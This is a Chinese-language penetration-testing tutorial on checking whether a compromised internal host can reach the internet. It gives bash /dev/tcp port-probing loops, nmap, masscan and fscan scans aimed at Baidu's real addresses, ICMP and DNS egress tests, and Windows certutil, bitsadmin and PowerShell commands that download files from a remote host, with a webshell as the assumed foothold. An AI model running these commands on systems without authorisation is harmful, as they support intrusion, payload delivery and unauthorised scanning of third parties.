内网安全——出网协议端口探测
在实战中难免会遇到各种各样的情况,其中对于目标主机是否出网这是一个十分值得收集的信息,因为完全不出网你就获取不到主机了
端口
Linux 系统
对于 Linux 系统,探测其允许出网的端口,这里使用的是 Linux 的自带命令,所以
适用于每个 Linux 版本。
for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && e
cho "$i ************************open************************" || echo "$i clos
ed";done
也可以将结果写入文件中
for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && e
cho "$i ************************open************************"|| echo "$i close
d";done >> result.txt
探测常见端口
for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,33
89,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open****
********************" || echo "$i closed";done
nmap 探测命令
nmap -sT -Pn -p- -v www.baidu.com
masscan 探测命令
masscan -p 80,443,8000-9000 182.61.200.6 --rate=10000
fscan 探测命令
fscan -h 182.61.200.6 -p 1-65535
Windows 系统
对于 Windows 系统,可以直接使用端口探测的程序进行探测即可。比如御剑扫描
器、nmap、IISPutScaner、PortScan 等。如果能 RDP 远程上去,可以使用图形
化工具,如果只是 Webshell,可以使用命令行工具即可!
探测的端口范围
可以根据 nmap 的端口范围探测。也可以根据自己的经验积累的端口范围进行探
测。
nmap -n --top-ports 100 127.0.0.1 -oA foo > /dev/null
grep -i "services\=" foo.xml | sed -r 's/.*services\=\"(.*)(\"\/>)/\1/g'
协议
探测 ICMP 协议
服务端监听 ICMP 流量:tcpdump icmp
客户端ping VPS 地址
,查看服务端能否收到请求
我们 VPS 监听,然后 ping 我们 vps 查看能否收到监听来判断 ICMP 协议是否出
网。也可以直接 ping 一个地址,看是否有 ttl 值。
探测 DNS 协议
Windows:nslookup、ping
Linux:nslookup、dig、ping
通过判断能否将域名解析为 ip,判断 DNS 协议是否出网。也可以将域名换成
dnslog 的域名,再看 dnslog 能否收到请求
探测 HTTP 协议
Linux 系统可以使用 curl 命令:
curl http://192.168.10.13
Windows 系统可以使用以下命令:
certutil -urlcache -split -f http://192.168.10.13/1
bitsadmin /transfer test http://192.168.10.13/1 c:\1
powershell iwr -Uri http://192.168.10.13/1 -OutFile 1 -UseBasicParsing